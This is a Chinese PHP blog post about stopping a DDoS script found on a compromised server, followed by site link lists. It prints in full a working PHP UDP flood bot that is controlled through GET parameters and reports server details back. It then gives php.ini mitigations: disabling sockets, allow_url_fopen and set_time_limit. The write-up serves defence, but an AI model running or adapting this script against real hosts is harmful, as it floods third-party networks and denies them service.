php的ddos攻击解决方法


Posted in PHP onJanuary 08, 2015

本文实例讲述了php的ddos攻击解决方法。分享给大家供大家参考。具体分析如下:

今天自己的一台机器突然向外部发送大量数据包,可每秒到1G以上,虽然我用策略把UDP禁止包是发不出去但是很占cup啊,所以想到最后还是想办法解决了.

先看源码,代码如下:

<?php 

set_time_limit(999999); 

$host = $_GET['host']; 

$port = $_GET['port']; 

$exec_time = $_GET['time']; 

$Sendlen = 65535; 

$packets = 0; 

ignore_user_abort(True); 

 

if (StrLen($host)==0 or StrLen($port)==0 or StrLen($exec_time)==0){ 

        if (StrLen($_GET['rat'])<>0){ 

                echo $_GET['rat'].$_SERVER["HTTP_HOST"]."|".GetHostByName($_SERVER['SERVER_NAME'])."|".php_uname()."|".$_SERVER['SERVER_SOFTWARE'].$_GET['rat']; 

                exit; 

            } 

        echo "Parameters can not be empty!"; 

        exit; 

    } 

 

for($i=0;$i<$Sendlen;$i++){ 

        $out .= "A"; 

    } 

 

$max_time = time()+$exec_time; 

 

while(1){ 

    $packets++; 

    if(time() > $max_time){ 

        break; 

    } 

    $fp = fsockopen("udp://$host", $port, $errno, $errstr, 5); 

        if($fp){ 

            fwrite($fp, $out); 

            fclose($fp); 

    } 

} 

 

echo "Send Host:$host:$port<br><br>"; 

echo "Send Flow:$packets * ($Sendlen/1024=" . round($Sendlen/1024, 2) . ")kb / 1024 = " . round($packets*$Sendlen/1024/1024, 2) . " mb<br><br>"; 

echo "Send Rate:" . round($packets/$exec_time, 2) . " packs/s;" . round($packets/$exec_time*$Sendlen/1024/1024, 2) . " mb/s"; 

?>

关键代码在于如下:
$fp = fsockopen("udp://$ip", $rand, $errno, $errstr, 5);

方法很简单,向目标主机发送UDP包,在加上定义无限死循环,就会形成较大的压力.

这个压力是对于执行这个脚本的服务器来说的,因为它首先对自身的网宽、CPU等资源造成大量占用,如果想用这个脚本对目标站点形成压力,需要在多个服务器上执行该脚本,DDOS嘛,既然是用fsockopen请求外部,那就不让他请求.

php.ini里设置,代码如下:

allow_url_fopen = Off

如果这样他还是能发包,代码如下:

extension=php_sockets.dll

改成

;extension=php_sockets.dll

重启APACHE、IIS、NGINX,这样就可以防止PHP DDOS发包了.

另外有网友说,让脚本不允许设置为不超时很简单:

1. 把set_time_limit函数禁用

2. 启用PHP的安全模式(safe_mode=on).

禁用socket函数可以把把socket模块直接全部禁用也可以禁用fsockopen函数,建议,由于socket常用于发送邮件找回密码,因此建议开启直接开启安全模式,但是这样的话,脚本每30秒超时一次,估计没有哪个“黑客”寂寞到每30秒去点一下开始DDOS.

经验:这种问题一般是网站安全引起的,我们要注意网站的安全及服务器的安全,这样就不容易被入侵了,如果会用macofee的朋友,对网站进行限制一下就会更好一些.

希望本文所述对大家的php程序设计有所帮助。

PHP 相关文章推荐
Cannot modify header information错误解决方法
Oct 08 PHP
php实现邮件发送并带有附件
Jan 24 PHP
destoon切换城市后实现logo旁边显示地区名称的方法
Aug 21 PHP
php实现图片转换成ASCII码的方法
Apr 03 PHP
基于PHP实现假装商品限时抢购繁忙的效果
Oct 16 PHP
前端必学之PHP语法基础
Jan 01 PHP
Linux下编译redis和phpredis的方法
Apr 07 PHP
PHP支付宝当面付2.0代码
Dec 21 PHP
PHP面向对象程序设计重载(overloading)操作详解
Jun 13 PHP
ThinkPHP5 框架引入 Go AOP,PHP AOP编程项目详解
May 12 PHP
XAMPP升级PHP版本实现步骤解析
Sep 04 PHP
PHP safe_mode开启对于PHP系统函数有什么影响
Nov 10 PHP
php的sso单点登录实现方法
Jan 08 #PHP
PHP制作万年历
Jan 07 #PHP
CI框架中通过hook的方式实现简单的权限控制
Jan 07 #PHP
CI框架中site_url()和base_url()的区别
Jan 07 #PHP
给ECShop添加最新评论
Jan 07 #PHP
php程序总是提示验证码输入有误解决方案
Jan 07 #PHP
WampServer下安装多个版本的PHP、mysql、apache图文教程
Jan 07 #PHP
You might like
第六节--访问属性和方法
2006/11/16 PHP
很好用的PHP数据库类
2009/05/27 PHP
基于ThinkPHP实现批量删除
2015/12/18 PHP
php函数传值的引用传递注意事项分析
2016/06/25 PHP
PHP中Static(静态)关键字功能与用法实例分析
2019/04/05 PHP
JS操作XML中DTD介绍及使用方法分析
2019/07/04 PHP
PHP反射原理与用法深入分析
2019/09/28 PHP
imagettftext() 失效,不起作用
2021/03/09 PHP
用showModalDialog弹出页面后,提交表单总是弹出一个新窗口
2009/07/18 Javascript
JavaScript设置首页和收藏页面的小例子
2013/11/11 Javascript
jQuery中nextAll()方法用法实例
2015/01/07 Javascript
JS判断输入字符串长度实例代码(汉字算两个字符,字母数字算一个)
2016/08/02 Javascript
详解js运算符单竖杠“|”与“||”的用法和作用介绍
2016/11/04 Javascript
Node.js测试中的Mock文件系统详解
2016/11/21 Javascript
js鼠标经过tab选项卡时实现切换延迟
2017/03/24 Javascript
如何编写jquery插件
2017/03/29 jQuery
浅谈vue实现数据监听的函数 Object.defineProperty
2017/06/08 Javascript
Angularjs上传图片实例详解
2017/08/06 Javascript
关于Angularjs中跨域设置白名单问题
2018/04/17 Javascript
vue添加class样式实例讲解
2019/02/12 Javascript
浅谈VUE防抖与节流的最佳解决方案(函数式组件)
2019/05/22 Javascript
只有 20 行的 JavaScript 模板引擎实例详解
2020/05/11 Javascript
使用js和canvas实现时钟效果
2020/09/08 Javascript
PyQt打开保存对话框的方法和使用详解
2019/02/27 Python
python爬虫开发之urllib模块详细使用方法与实例全解
2020/03/09 Python
使用python检查yaml配置文件是否符合要求
2020/04/09 Python
Python环境配置实现pip加速过程解析
2020/11/27 Python
Evisu官方网站:日本牛仔品牌,时尚街头设计风格
2016/12/30 全球购物
英国优质鞋类专家:Robinson’s Shoes
2017/12/08 全球购物
马来西亚综合购物网站:Lazada马来西亚
2018/06/05 全球购物
《中彩那天》教学反思
2014/02/22 职场文书
班级年度安全计划书
2014/05/01 职场文书
不服从上级领导安排的检讨书
2014/09/14 职场文书
2014年企业员工工作总结
2014/12/09 职场文书
感恩母亲节活动总结
2015/02/10 职场文书
Java中常用解析工具jackson及fastjson的使用
2021/06/28 Java/Android